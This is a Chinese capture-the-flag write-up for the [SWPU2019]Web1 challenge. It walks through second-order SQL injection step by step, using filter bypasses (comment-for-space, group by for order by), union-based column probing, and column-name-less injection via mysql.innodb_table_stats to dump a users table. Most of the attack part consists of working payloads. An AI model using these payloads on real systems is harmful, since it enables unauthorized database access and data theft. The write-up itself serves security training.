[SWPU2019]Web1 1


1.介绍

1.1二次注入

1.2无列名注入

1.3Maria数据库特性

2.步骤

2.1在广告申请界面输入'引号,查看详情界面出现报错,发现存在报错。

 2.2 经过尝试发现过滤了空格,or,and,--+,#,order等关键字

order by可以使用group by代替,空格可以使用/**/代替,注释符可以采用闭合的方式代替,如group by   1,'2

select * from ads where title = '$title' limit 0,1

 2.3判断字段数

先填写一个较大的字段数,例如50,发现字段数大了

-1'/**/group/**/by/**/50,'2

 2.4然后25,12,20进行尝试,最后得到字段数为22,可以看到已经爆出了数字

-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

2.5 查看数据库用户,版本等信息

-1'union/**/select/**/1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

-1'union/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

 2.6查询表时,发现information_schema.tables被过滤,删除information_schema.tables后正常

2.7 这个时候就要使用无列名注入,

-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)as/**/x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

另外Maria数据库的这个表可以查表名:mysql.innodb_table_stats

-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

 2.8查询表中的数据,得到flag。

-1'union/**/select/**/1,(select/**/group_concat(a)/**/from/**/(select/**/1,2,3/**/as/**/a/**/union/**/select/**/*/**/from/**/users)/**/as/**/b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

3.借鉴

SQL注入防御绕过——二次注入 - 简书 (jianshu.com)

 [SWPU2019]Web1 - GTX690M - 博客园 (cnblogs.com)

[SWPU2019] Web1 - 简书 (jianshu.com)

[SWPU2019]Web1(二次注入,无列名注入,bypass information_schema) - 泠涯 - 博客园 (cnblogs.com)

相关